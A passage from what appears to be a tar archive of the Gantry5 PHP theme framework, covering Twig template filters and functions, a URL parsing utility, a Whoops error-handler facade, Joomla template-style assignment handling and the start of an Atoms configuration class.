'imageSize']),
            new \Twig_SimpleFilter('truncate_text', [$this,
'truncateText']),
            new \Twig_SimpleFilter('attribute_array', [$this,
'attributeArrayFilter'], ['is_safe' =>
['html']]),
        ];

        if (1 || GANTRY5_PLATFORM !== 'grav') {
            $filters = array_merge($filters, [
                new \Twig_SimpleFilter('fieldName', [$this,
'fieldNameFilter']),
                new \Twig_SimpleFilter('json_decode', [$this,
'jsonDecodeFilter']),
                new \Twig_SimpleFilter('truncate_html', [$this,
'truncateHtml']),
                new \Twig_SimpleFilter('markdown', [$this,
'markdownFunction'], ['is_safe' =>
['html']]),
                new \Twig_SimpleFilter('nicetime', [$this,
'nicetimeFilter']),

                // Casting values
                new \Twig_SimpleFilter('string', [$this,
'stringFilter']),
                new \Twig_SimpleFilter('int', [$this,
'intFilter'], ['is_safe' => ['all']]),
                new \Twig_SimpleFilter('bool', [$this,
'boolFilter']),
                new \Twig_SimpleFilter('float', [$this,
'floatFilter'], ['is_safe' => ['all']]),
                new \Twig_SimpleFilter('array', [$this,
'arrayFilter']),
            ]);
        }

        return $filters;
    }

    /**
     * Return a list of all functions.
     *
     * @return array
     */
    public function getFunctions()
    {
        $functions = [
            new \Twig_SimpleFunction('nested', [$this,
'nestedFunc']),
            new \Twig_SimpleFunction('parse_assets', [$this,
'parseAssetsFunc']),
            new \Twig_SimpleFunction('colorContrast', [$this,
'colorContrastFunc']),
            new \Twig_SimpleFunction('get_cookie', [$this,
'getCookie']),
            new \Twig_SimpleFunction('preg_match', [$this,
'pregMatch']),
            new \Twig_SimpleFunction('imagesize', [$this,
'imageSize']),
            new \Twig_SimpleFunction('is_selected', [$this,
'is_selectedFunc']),
            new \Twig_SimpleFunction('url', [$this,
'urlFunc']),
        ];

        if (1 || GANTRY5_PLATFORM !== 'grav') {
            $functions = array_merge($functions, [
                new \Twig_SimpleFunction('array', [$this,
'arrayFilter']),
                new \Twig_SimpleFunction('json_decode', [$this,
'jsonDecodeFilter']),
            ]);
        }

        return $functions;
    }

    /**
     * @return array
     */
    public function getTokenParsers()
    {
        return [
            new TokenParserPageblock(),
            new TokenParserAssets(),
            new TokenParserScripts(),
            new TokenParserStyles(),
            new TokenParserThrow(),
            new TokenParserTryCatch(),
            new TokenParserMarkdown(),
            new TokenParserSwitch()
        ];
    }

    /**
     * Filters field name by changing dot notation into array notation.
     *
     * @param  string  $str
     * @return string
     */
    public function fieldNameFilter($str)
    {
        $path = explode('.', $str);

        return array_shift($path) . ($path ? '[' .
implode('][', $path) . ']' : '');
    }

    /**
     * Translate by using key, default on original string.
     *
     * @param $str
     * @return string
     */
    public function transKeyFilter($str)
    {
        $params = \func_get_args();
        array_shift($params);

        $key = preg_replace('|[^A-Z0-9]+|', '_',
strtoupper(implode('_', $params)));

        $translation = $this->transFilter($key);

        return $translation === $key ? $str : $translation;
    }

    /**
     * Translate string.
     *
     * @param  string  $str
     * @return string
     */
    public function transFilter($str)
    {
        /** @var TranslatorInterface $translator */
        static $translator;

        $params = \func_get_args();

        if (!$translator) {
            $translator = self::gantry()['translator'];
        }

        return \call_user_func_array([$translator, 'translate'],
$params);
    }

    /**
     * Repeat string x times.
     *
     * @param  string  $str
     * @param  int  $count
     * @return string
     */
    public function repeatFilter($str, $count)
    {
        return str_repeat($str, max(0, (int) $count));
    }


    /**
     * Decodes string from JSON.
     *
     * @param  string  $str
     * @param  bool  $assoc
     * @param int $depth
     * @param int $options
     * @return array
     */
    public function jsonDecodeFilter($str, $assoc = false, $depth = 512,
$options = 0)
    {
        return json_decode(html_entity_decode($str), $assoc, $depth,
$options);
    }

    public function imageSize($src, $attrib = true, $remote = false)
    {
        // TODO: need to better handle absolute and relative paths
        //$url =
Gantry::instance()['document']->url(trim((string) $src),
false, false);
        $width = $height = null;
        $sizes = ['width' => $width, 'height' =>
$height];
        $attr = '';

        if (@is_file($src) || $remote) {
            try {
                list($width, $height,, $attr) = @getimagesize($src);
            } catch (\Exception $e) {}

            $sizes['width'] = $width;
            $sizes['height'] = $height;
        }

        return $attrib ? $attr : $sizes;
    }

    /**
     * Reindexes values in array.
     *
     * @param array $array
     * @return array
     */
    public function valuesFilter(array $array)
    {
        return array_values($array);
    }

    /**
     * Casts input to string.
     *
     * @param mixed $input
     * @return string
     */
    public function stringFilter($input)
    {
        return (string) $input;
    }


    /**
     * Casts input to int.
     *
     * @param mixed $input
     * @return int
     */
    public function intFilter($input)
    {
        return (int) $input;
    }

    /**
     * Casts input to bool.
     *
     * @param mixed $input
     * @return bool
     */
    public function boolFilter($input)
    {
        return (bool) $input;
    }

    /**
     * Casts input to float.
     *
     * @param mixed $input
     * @return float
     */
    public function floatFilter($input)
    {
        return (float) $input;
    }

    /**
     * Casts input to array.
     *
     * @param mixed $input
     * @return array
     */
    public function arrayFilter($input)
    {
        return (array) $input;
    }

    /**
     * Takes array of attribute keys and values and converts it to properly
escaped HTML attributes.
     *
     * @example ['data-id' => 'id',
'data-key' => 'key'] => '
data-id="id" data-key="key"'
     * @example [['data-id' => 'id'],
['data-key' => 'key']] => '
data-id="id" data-key="key"'
     *
     * @param string|string[] $input
     * @return string
     */
    public function attributeArrayFilter($input)
    {
        if (\is_string($input)) {
            return $input;
        }

        $array = [];
        foreach ((array) $input as $key => $value) {
            if (\is_array($value)) {
                foreach ((array) $value as $key2 => $value2) {
                    $array[] = HtmlDocument::escape($key2) .
'="' . HtmlDocument::escape($value2, 'html_attr')
. '"';
                }
            } elseif ($key) {
                $array[] = HtmlDocument::escape($key) . '="'
. HtmlDocument::escape($value, 'html_attr') . '"';
            }
        }
        return $array ? ' ' . implode(' ', $array) :
'';
    }

    public function is_selectedFunc($a, $b)
    {
        $b = (array) $b;
        array_walk(
            $b,
            function (&$item) {
                if (\is_bool($item)) {
                    $item = (int) $item;
                }
                $item = (string) $item;
            }
        );

        return \in_array((string) $a, $b, true);
    }

    /**
     * Truncate text by number of characters but can cut off words. Removes
html tags.
     *
     * @param  string $string
     * @param  int    $limit       Max number of characters.
     *
     * @return string
     */
    public function truncateText($string, $limit = 150)
    {
        $platform = Gantry::instance()['platform'];

        return $platform->truncate($string, (int) $limit, false);
    }

    /**
     * Truncate text by number of characters but can cut off words.
     *
     * @param  string $string
     * @param  int    $limit       Max number of characters.
     *
     * @return string
     */
    public function truncateHtml($string, $limit = 150)
    {
        $platform = Gantry::instance()['platform'];

        return $platform->truncate($string, (int) $limit, true);
    }

    /**
     * @param string $string
     * @param bool $block  Block or Line processing
     * @param array $settings
     * @return mixed|string
     */
    public function markdownFunction($string, $block = true, array
$settings = null)
    {
        // Initialize the preferred variant of Parsedown
        if (!empty($settings['extra'])) {
            $parsedown = new ParsedownExtra($settings);
        } else {
            $parsedown = new Parsedown($settings);
        }

        if ($block) {
            $string = $parsedown->text($string);
        } else {
            $string = $parsedown->line($string);
        }

        return $string;
    }

    /**
     * Get value by using dot notation for nested arrays/objects.
     *
     * @example {{ nested(array,
'this.is.my.nested.variable')|json_encode }}
     *
     * @param array   $items      Array of items.
     * @param string  $name       Dot separated path to the requested
value.
     * @param mixed   $default    Default value (or null).
     * @param string  $separator  Separator, defaults to '.'
     * @return mixed  Value.
     */
    public function nestedFunc($items, $name, $default = null, $separator =
'.')
    {
        if ($items instanceof NestedArrayAccess) {
            return $items->get($name, $default, $separator);
        }
        $path = explode($separator, $name);
        $current = $items;
        foreach ($path as $field) {
            if (\is_object($current) &&
isset($current->{$field})) {
                $current = $current->{$field};
            } elseif (\is_array($current) &&
isset($current[$field])) {
                $current = $current[$field];
            } else {
                return $default;
            }
        }

        return $current;
    }

    /**
     * Return URL to the resource.
     *
     * @example {{
url('theme://images/logo.png')|default('http://www.placehold.it/150x100/f4f4f4')
}}
     *
     * @param  string $input       Resource to be located.
     * @param  bool $domain        True to include domain name.
     * @param  int $timestamp_age  Append timestamp to files that are less
than x seconds old. Defaults to a week.
     *                             Use value <= 0 to disable the
feature.
     * @return string|null         Returns url to the resource or null if
resource was not found.
     */
    public function urlFunc($input, $domain = false, $timestamp_age = null)
    {
        $gantry = Gantry::instance();

        return $gantry['document']->url(trim((string) $input),
$domain, $timestamp_age);
    }

    /**
     * Filter stream URLs from HTML input.
     *
     * @param  string $str          HTML input to be filtered.
     * @param  bool $domain         True to include domain name.
     * @param  int $timestamp_age   Append timestamp to files that are less
than x seconds old. Defaults to a week.
     *                              Use value <= 0 to disable the
feature.
     * @return string               Returns modified HTML.
     */
    public function htmlFilter($str, $domain = false, $timestamp_age =
null)
    {
        $gantry = Gantry::instance();

        return $gantry['document']->urlFilter($str, $domain,
$timestamp_age);
    }

    /**
     * @param \libXMLError $error
     * @param string $input
     * @throws \RuntimeException
     */
    protected function dealXmlError(\libXMLError $error, $input)
    {
        switch ($error->level) {
            case LIBXML_ERR_WARNING:
                $level = 1;
                $message = "DOM Warning {$error->code}: ";
                break;
            case LIBXML_ERR_ERROR:
                $level = 2;
                $message = "DOM Error {$error->code}: ";
                break;
            case LIBXML_ERR_FATAL:
                $level = 3;
                $message = "Fatal DOM Error {$error->code}: ";
                break;
            default:
                $level = 3;
                $message = "Unknown DOM Error {$error->code}:
";
        }
        $message .= "{$error->message} while
parsing:\n{$input}\n";

        if ($level <= 2 && !Gantry::instance()->debug()) {
            return;
        }

        throw new \RuntimeException($message, 500);
    }

    /**
     * Move supported document head elements into platform document object,
return all
     * unsupported tags in a string.
     *
     * @param string $input
     * @param string $location
     * @param int $priority
     * @return string
     */
    public function parseAssetsFunc($input, $location = 'head',
$priority = 0)
    {
        if ($location === 'head') {
            $scope = 'head';
            $html = "<!doctype
html>\n<html><head>{$input}</head><body></body></html>";
        } else {
            $scope = 'body';
            $html = "<!doctype
html>\n<html><head></head><body>{$input}</body></html>";
        }

        libxml_clear_errors();

        $internal = libxml_use_internal_errors(true);

        $doc = new \DOMDocument();
        $doc->loadHTML($html);
        foreach (libxml_get_errors() as $error) {
            $this->dealXmlError($error, $html);
        }

        libxml_clear_errors();

        libxml_use_internal_errors($internal);

        $raw = [];
        /** @var \DomElement $element */
        foreach
($doc->getElementsByTagName($scope)->item(0)->childNodes as
$element) {
            if (empty($element->tagName)) {
                continue;
            }
            $result = ['tag' => $element->tagName,
'content' => $element->textContent];
            foreach ($element->attributes as $attribute) {
                $result[$attribute->name] = $attribute->value;
            }
            $success =
Gantry::instance()['document']->addHeaderTag($result,
$location, (int) $priority);
            if (!$success) {
                $raw[] = $doc->saveHTML($element);
            }
        }

        return implode("\n", $raw);
    }

    public function colorContrastFunc($value)
    {
        $value = str_replace(' ', '', $value);
        $rgb = new \stdClass;
        $opacity = 1;

        if (0 !== strpos($value, 'rgb')) {
            $value = str_replace('#', '', $value);
            if (\strlen($value) === 3) {
                $h0 = str_repeat(substr($value, 0, 1), 2);
                $h1 = str_repeat(substr($value, 1, 1), 2);
                $h2 = str_repeat(substr($value, 2, 1), 2);
                $value = $h0 . $h1 . $h2;
            }

            $rgb->r = hexdec(substr($value, 0, 2));
            $rgb->g = hexdec(substr($value, 2, 2));
            $rgb->b = hexdec(substr($value, 4, 2));
        } else {
           
preg_match("/(\\d+),\\s*(\\d+),\\s*(\\d+)(?:,\\s*(1\\.|0?\\.?[0-9]?+))?/uim",
$value, $matches);
            $rgb->r = $matches[1];
            $rgb->g = $matches[2];
            $rgb->b = $matches[3];
            $opacity = isset($matches[4]) ? $matches[4] : 1;
            $opacity = substr($opacity, 0, 1) === '.' ?
'0' . $opacity : $opacity;
        }

        $yiq = ((($rgb->r * 299) + ($rgb->g * 587) + ($rgb->b *
114)) / 1000) >= 128;
        $contrast = $yiq || (!$opacity || (float) $opacity < 0.35);

        return $contrast;
    }

    /**
     * Displays a facebook style 'time ago' formatted date/time.
     *
     * @param string|int $date
     * @param bool $long_strings
     *
     * @return string
     */
    public function nicetimeFilter($date, $long_strings = true)
    {
        static $lengths = [60, 60, 24, 7, 4.35, 12, 10];
        static $periods_long = [
            'GANTRY5_ENGINE_NICETIME_SECOND',
            'GANTRY5_ENGINE_NICETIME_MINUTE',
            'GANTRY5_ENGINE_NICETIME_HOUR',
            'GANTRY5_ENGINE_NICETIME_DAY',
            'GANTRY5_ENGINE_NICETIME_WEEK',
            'GANTRY5_ENGINE_NICETIME_MONTH',
            'GANTRY5_ENGINE_NICETIME_YEAR',
            'GANTRY5_ENGINE_NICETIME_DECADE'
        ];
        static $periods_short = [
            'GANTRY5_ENGINE_NICETIME_SEC',
            'GANTRY5_ENGINE_NICETIME_MIN',
            'GANTRY5_ENGINE_NICETIME_HR',
            'GANTRY5_ENGINE_NICETIME_DAY',
            'GANTRY5_ENGINE_NICETIME_WK',
            'GANTRY5_ENGINE_NICETIME_MO',
            'GANTRY5_ENGINE_NICETIME_YR',
            'GANTRY5_ENGINE_NICETIME_DEC'
        ];

        if (empty($date)) {
            return
$this->transFilter('GANTRY5_ENGINE_NICETIME_NO_DATE_PROVIDED');
        }

        $periods = $long_strings ? $periods_long : $periods_short;

        $now = time();

        // check if unix timestamp
        if ((string)(int)$date === (string)$date) {
            $unix_date = (int)$date;
        } else {
            $unix_date = strtotime($date);
        }

        // check validity of date
        if (!$unix_date) {
            return
$this->transFilter('GANTRY5_ENGINE_NICETIME_BAD_DATE');
        }

        // is it future date or past date
        if ($now > $unix_date) {
            $difference = $now - $unix_date;
            $tense      =
$this->transFilter('GANTRY5_ENGINE_NICETIME_AGO');

        } else if ($now === $unix_date) {
            $difference = $now - $unix_date;
            $tense      =
$this->transFilter('GANTRY5_ENGINE_NICETIME_JUST_NOW');

        } else {
            $difference = $unix_date - $now;
            $tense      =
$this->transFilter('GANTRY5_ENGINE_NICETIME_FROM_NOW');
        }


        for ($j = 0; $difference >= $lengths[$j] && $j <
\count($lengths) - 1; $j++) {
            $difference /= $lengths[$j];
        }
        $period = $periods[$j];

        $difference = round($difference);

        if ($difference !== 1) {
            $period .= '_PLURAL';
        }

        $period = $this->transFilter($period);

        if ($now === $unix_date) {
            return $tense;
        }

        return "{$difference} {$period} {$tense}";
    }

    public function getCookie($name)
    {
        $gantry = Gantry::instance();

        /** @var Request $request */
        $request = $gantry['request'];

        return $request->cookie[$name];
    }

    public function pregMatch($pattern, $subject, &$matches = [])
    {
        preg_match($pattern, $subject, $matches);

        return $matches ?: false;
    }
}
Gantry/Component/Url/Url.php000064400000007731151157471010012001
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Url;

class Url
{
    /**
     * UTF8 aware parse_url().
     *
     * @param  string $url
     * @param  bool   $queryArray
     * @return array|bool
     */
    public static function parse($url, $queryArray = false)
    {
        $encodedUrl = preg_replace_callback(
            '%[^:/@?&=#]+%usD',
            function ($matches) { return rawurlencode($matches[0]); },
            $url
        );

        // PHP versions below 5.4.7 have troubles with URLs without scheme,
so lets help by fixing that.
        // TODO: This is not needed in PHP >= 5.4.7, but for now we need
to test if the function works.
        if ('/' === $encodedUrl[0] && false !==
strpos($encodedUrl, '://')) {
            $schemeless = true;

            // Fix the path so that parse_url() will not return false.
            $parts = parse_url('fake://fake.com' . $encodedUrl);

            // Remove the fake values.
            unset($parts['scheme'], $parts['host']);

        } else {
            $parts = parse_url($encodedUrl);
        }

        if (!$parts) {
            return false;
        }

        // PHP versions below 5.4.7 do not understand schemeless URLs
starting with // either.
        if (isset($schemeless) && !isset($parts['host'])
&& 0 === strpos($encodedUrl, '//')) {
            // Path is stored in format: //[host]/[path], so let's fix
it.
            list($parts['host'], $path) = explode('/',
substr($parts['path'], 2), 2);
            $parts['path'] = "/{$path}";
        }

        foreach($parts as $name => $value) {
            $parts[$name] = rawurldecode($value);
        }

        // Return query string also as an array if requested.
        if ($queryArray) {
            $parts['vars'] = isset($parts['query']) ?
static::parseQuery($parts['query']) : [];
        }

        return $parts;
    }

    /**
     * Parse query string and return array.
     *
     * @param $query
     * @return mixed
     */
    public static function parseQuery($query)
    {
        parse_str($query, $vars);

        return $vars;
    }

    /**
     * Build parsed URL array.
     *
     * @param array $parsed_url
     * @return string
     */
    public static function build(array $parsed_url)
    {
        // Build query string from variables if they are set.
        if (isset($parsed_url['vars'])) {
            $parsed_url['query'] =
static::buildQuery($parsed_url['vars']);
        }

        // Build individual parts of the url.
        $scheme   = isset($parsed_url['scheme']) ?
$parsed_url['scheme'] . '://' : '';
        $host     = isset($parsed_url['host']) ?
$parsed_url['host'] : '';
        $port     = isset($parsed_url['port']) ? ':' .
$parsed_url['port'] : '';
        $user     = isset($parsed_url['user']) ?
$parsed_url['user'] : '';
        $pass     = isset($parsed_url['pass']) ? ':' .
$parsed_url['pass']  : '';
        $pass     = ($user || $pass) ? "{$pass}@" : '';
        $path     = isset($parsed_url['path']) ?
$parsed_url['path'] : '';
        $query    = isset($parsed_url['query']) ? '?' .
$parsed_url['query'] : '';
        $fragment = isset($parsed_url['fragment']) ?
'#' . $parsed_url['fragment'] : '';
        $scheme   = $host && !$scheme ? '//' : $scheme;

        return
"{$scheme}{$user}{$pass}{$host}{$port}{$path}{$query}{$fragment}";
    }

    /**
     * Build query string from variables.
     *
     * @param array $vars
     * @return null|string
     */
    public static function buildQuery(array $vars)
    {
        $list = [];
        foreach ($vars as $key => $var) {
            $list[] = $key . '=' . rawurlencode($var);
        }

        return $list ? implode('&', $list) : null;
    }
}
Gantry/Component/Whoops/SystemFacade.php000064400000011101151157471010014306
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Whoops;

class SystemFacade extends \Whoops\Util\SystemFacade
{
    protected $registeredPatterns;
    protected $whoopsErrorHandler;
    protected $whoopsExceptionHandler;
    protected $whoopsShutdownHandler;
    protected $platformExceptionHandler;

    /**
     * @param  array|string $patterns List or a single regex pattern to
match for silencing errors in particular files.
     */
    public function __construct($patterns = [])
    {
        $this->registeredPatterns = array_map(
            function ($pattern) {
                return["pattern" => $pattern];
            },
            (array) $patterns
        );
    }

    /**
     * @param callable $handler
     * @param int|string $types
     *
     * @return callable|null
     */
    public function setErrorHandler(callable $handler, $types =
'use-php-defaults')
    {
        // Workaround for PHP 5.5
        if ($types === 'use-php-defaults') {
            $types = E_ALL | E_STRICT;
        }

        $this->whoopsErrorHandler = $handler;

        return parent::setErrorHandler([$this, 'handleError'],
$types);
    }

    /**
     * @param callable $function
     *
     * @return void
     */
    public function registerShutdownFunction(callable $function)
    {
        $this->whoopsShutdownHandler = $function;
        register_shutdown_function([$this, 'handleShutdown']);
    }

    /**
     * @param callable $handler
     *
     * @return callable|null
     */
    public function setExceptionHandler(callable $handler)
    {
        $this->whoopsExceptionHandler = $handler;
        $this->platformExceptionHandler =
parent::setExceptionHandler([$this, 'handleException']);

        return $this->platformExceptionHandler;
    }

    /**
     * Converts generic PHP errors to \ErrorException instances, before
passing them off to be handled.
     *
     * This method MUST be compatible with set_error_handler.
     *
     * @param int    $level
     * @param string $message
     * @param string $file
     * @param int    $line
     *
     * @return bool
     * @throws \ErrorException
     */
    public function handleError($level, $message, $file = null, $line =
null)
    {
        $handler = $this->whoopsErrorHandler;

        if (!$this->registeredPatterns) {
            // Just forward to parent function is there aren't no
registered patterns.
            return $handler($level, $message, $file, $line);

        }

        // If there are registered patterns, only handle errors if error
matches one of the patterns.
        if ($level & error_reporting()) {
            foreach ($this->registeredPatterns as $entry) {
                $pathMatches = $file &&
preg_match($entry["pattern"], $file);
                if ($pathMatches) {
                    return $handler($level, $message, $file, $line);
                }
            }
        }

        // Propagate error to the next handler, allows error_get_last() to
work on silenced errors.
        return false;
    }

    /**
     * Handles an exception, ultimately generating a Whoops error page.
     *
     * @param  \Throwable $exception
     * @return void
     */
    public function handleException($exception)
    {
        $handler = $this->whoopsExceptionHandler;

        // If there are registered patterns, only handle errors if error
matches one of the patterns.
        if ($this->registeredPatterns) {
            foreach ($this->registeredPatterns as $entry) {
                $file = $exception->getFile();
                $pathMatches = $file &&
preg_match($entry["pattern"], $file);
                if ($pathMatches) {
                    $handler($exception);
                    return;
                }
            }
        }

        // Propagate error to the next handler.
        if ($this->platformExceptionHandler) {
            call_user_func_array($this->platformExceptionHandler,
[&$exception]);
        }
    }

    /**
     * Special case to deal with Fatal errors and the like.
     */
    public function handleShutdown()
    {
        $handler = $this->whoopsShutdownHandler;

        $error = $this->getLastError();

        // Ignore core warnings and errors.
        if ($error && !($error['type'] &
(E_CORE_WARNING | E_CORE_ERROR))) {
            $handler();
        }
    }
}
Gantry/Framework/Assignments.php000064400000013503151157471010012755
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Framework;

use Gantry\Component\Assignments\AbstractAssignments;
use Gantry\Joomla\CacheHelper;
use Gantry\Joomla\StyleHelper;
use Joomla\Utilities\ArrayHelper;

class Assignments extends AbstractAssignments
{
    protected $platform = 'Joomla';

    /**
     * Load all assignments.
     *
     * @return array
     */
    public function loadAssignments()
    {
        $app = \JFactory::getApplication();

        if (!$app->isSite()) {
            return [];
        }

        // Get current template, style id and rules.
        $template = $app->getTemplate();
        $active = $app->getMenu()->getActive();
        if ($active) {
            $style = (int) $active->template_style_id;
            $rules = [$active->menutype => [$active->id =>
true]];
        } else {
            $style = 0;
            $rules = [];
        }

        // Load saved assignments.
        $assignments = parent::loadAssignments();

        // Add missing template styles from Joomla.
        $styles = StyleHelper::loadStyles($template);
        $assignments += array_fill_keys(array_keys($styles), []);

        foreach ($assignments as $id => &$assignment) {
            // Add current menu item if it has been assigned to the style.
            $assignment['menu'] = $style === $id ? $rules : [];

            // Always add the current template style.
            $assignment['style'] =  ['id' => [$id
=> true]];
        }

        return $assignments;
    }

    /**
     * Save assignments for the configuration.
     *
     * @param array $data
     */
    public function save(array $data)
    {
        $data += ['assignment' => 0, 'menu' =>
[]];

        // Joomla stores language and menu assignments by its own.
        $this->saveAssignment($data['assignment']);
        $this->saveMenu($data['menu']);
        unset($data['assignment'], $data['menu'],
$data['style']);

        // Continue saving rest of the assignments.
        parent::save($data);
    }

    public function types()
    {
        return ['menu', 'style'];
    }

    public function saveMenu($data)
    {
        $active = [];
        foreach ($data as $menutype => $items) {
            $active += array_filter($items, function($value) {return $value
> 0; });

        }
        $active = array_keys($active);

        // Detect disabled template.
        $extension = \JTable::getInstance('Extension');

        $template = Gantry::instance()['theme.name'];
        if ($extension->load(array('enabled' => 0,
'type' => 'template', 'element' =>
$template, 'client_id' => 0))) {
            throw new
\RuntimeException(\JText::_('COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE'));
        }

        \JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');
        $style = \JTable::getInstance('Style',
'TemplatesTable');
        if (!$style->load($this->configuration) ||
$style->client_id != 0) {
            throw new \RuntimeException('Template style does not
exist');
        }

        $user = \JFactory::getUser();
        $n = 0;

        if ($user->authorise('core.edit',
'com_menus')) {
            $db   = \JFactory::getDbo();
            $user = \JFactory::getUser();

            if (!empty($active)) {
                ArrayHelper::toInteger($active);

                // Update the mapping for menu items that this style IS
assigned to.
                $query = $db->getQuery(true)
                    ->update('#__menu')
                    ->set('template_style_id = ' . (int)
$style->id)
                    ->where('id IN (' . implode(',',
$active) . ')')
                    ->where('template_style_id != ' . (int)
$style->id)
                    ->where('checked_out IN (0,' . (int)
$user->id . ')');
                $db->setQuery($query);
                $db->execute();
                $n += $db->getAffectedRows();
            }

            // Remove style mappings for menu items this style is NOT
assigned to.
            // If unassigned then all existing maps will be removed.
            $query = $db->getQuery(true)
                ->update('#__menu')
                ->set('template_style_id = 0');

            if (!empty($active)) {
                $query->where('id NOT IN (' .
implode(',', $active) . ')');
            }

            $query->where('template_style_id = ' . (int)
$style->id)
                ->where('checked_out IN (0,' . (int)
$user->id . ')');
            $db->setQuery($query);
            $db->execute();

            $n += $db->getAffectedRows();
        }

        // Clean the cache.
        CacheHelper::cleanTemplates();

        return ($n > 0);
    }

    public function getAssignment()
    {
        $style = StyleHelper::getStyle($this->configuration);

        return $style->home;
    }

    public function saveAssignment($value)
    {
        $options = $this->assignmentOptions();

        if (!isset($options[$value])) {
            throw new \RuntimeException('Invalid value for default
assignment!', 400);
        }

        $style = StyleHelper::getStyle($this->configuration);
        $style->home = $value;

        if (!$style->check() || !$style->store()) {
            throw new \RuntimeException($style->getError());
        }

        // Clean the cache.
        CacheHelper::cleanTemplates();
    }

    public function assignmentOptions()
    {
        if ((string)(int) $this->configuration !== (string)
$this->configuration) {
            return [];
        }

        $languages = \JHtml::_('contentlanguage.existing');

        $options = ['- Make Default -', 'All
Languages'];
        foreach ($languages as $language) {
            $options[$language->value] = $language->text;
        }

        return $options;
    }
}
Gantry/Framework/Atoms.php000064400000022345151157471010011551
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Framework;

use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccess;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Atoms implements \ArrayAccess, \Iterator, ExportInterface
{
    use ArrayAccess, Iterator, Export;

    /**
     * @var  string
     */
    protected $name;

    /**
     * @var array
     */
    protected $items;

    /**
     * @var array
     */
    protected $ids;

    /**
     * @var array|static[]
     */
    protected static $instances;

    protected $inherit = false;

    /**
     * @param string $outline
     * @return static
     */
    public static function instance($outline)
    {
        if (!isset(static::$instances[$outline])) {
            $file =
CompiledYamlFile::instance("gantry-theme://config/{$outline}/page/head.yaml");
            $head = $file->content();
            static::$instances[$outline] = new
static(isset($head['atoms']) ? $head['atoms'] : [],
$outline);
            $file->free();

            static::$instances[$outline]->init();
        }

        return static::$instances[$outline];
    }

    /**
     * Atoms constructor.
     * @param array $atoms
     * @param string $name
     */
    public function __construct(array $atoms = [], $name = null)
    {
        $this->name = $name;
        $this->items = array_filter($atoms);
        $this->inherit =
file_exists('gantry-admin://blueprints/layout/inheritance/atom.yaml');

        foreach ($this->items as &$item) {
            if (!empty($item['id'])) {
                $this->ids[$item['id']] = $item;
            }
        }
    }

    public function init()
    {
        foreach ($this->items as &$item) {
            if (!empty($item['inherit']['outline'])
&& !empty($item['inherit']['atom'])) {
                $inherited =
static::instance($item['inherit']['outline']);
                $test =
$inherited->id($item['inherit']['atom']);
                if (isset($test['attributes'])) {
                    $item['attributes'] =
$test['attributes'];
                } else {
                    unset($item['inherit']);
                }
            }
        }

        return $this;
    }

    /**
     * @return $this
     */
    public function update()
    {
        foreach ($this->items as &$item) {
            if (empty($item['id'])) {
                $item['id'] = $this->createId($item);
            }
            if (!empty($item['inherit']['outline'])
&& !empty($item['inherit']['atom'])) {
                unset($item['attributes']);
            } else {
                unset($item['inherit']);
            }
        }

        return $this;
    }

    /**
     * @param string $outline
     * @return $this
     */
    public function inheritAll($outline)
    {
        foreach ($this->items as &$item) {
            if (!empty($item['id'])) {
                $item['inherit'] = [
                    'outline' => $outline,
                    'atom' => $item['id'],
                    'include' => ['attributes']
                ];
            }
        }

        return $this;
    }

    /**
     * @param string $old
     * @param string $new
     * @param array  $ids
     * @return $this
     */
    public function updateInheritance($old, $new = null, $ids = null)
    {
        $this->init();

        foreach ($this->items as &$item) {
            if (!empty($item['inherit']['outline'])
&& $item['inherit']['outline'] == $old
&& isset($item['inherit']['atom'])) {
                if ($new && ($ids === null ||
isset($ids[$item['inherit']['atom']]))) {
                    $item['inherit']['outline'] = $new;
                } else {
                    unset($item['inherit']);
                }
            }
        }

        return $this;
    }

    public function save()
    {
        if ($this->name) {
            /** @var UniformResourceLocator $locator */
            $locator = Gantry::instance()['locator'];

            $loadPath =
$locator->findResource("gantry-theme://config/{$this->name}/page/head.yaml");
            $savePath =
$locator->findResource("gantry-theme://config/{$this->name}/page/head.yaml",
true, true);

            if ($loadPath && $savePath) {
                $file = CompiledYamlFile::instance($loadPath);
                $head = $file->content();
                $head['atoms'] =
$this->update()->toArray();
                $file->free();

                $file = CompiledYamlFile::instance($savePath);
                $file->save($head);
                $file->free();
            }
        }
    }

    /**
     * @param string $id
     * @return array
     */
    public function id($id)
    {
        return isset($this->ids[$id]) ? $this->ids[$id] : [];
    }

    /**
     * @param string $type
     * @return array
     */
    public function type($type)
    {
        $list = [];
        foreach ($this->items as $item) {
            if ($item['type'] === $type) {
                $list[] = $item;
            }
        }

        return $list;
    }

    /**
     * @param string $type
     * @param array $data
     * @return Config
     */
    public function createAtom($type, array $data = [])
    {
        $self = $this;

        $callable = function () use ($self, $type) {
            return $self->getBlueprint($type);
        };

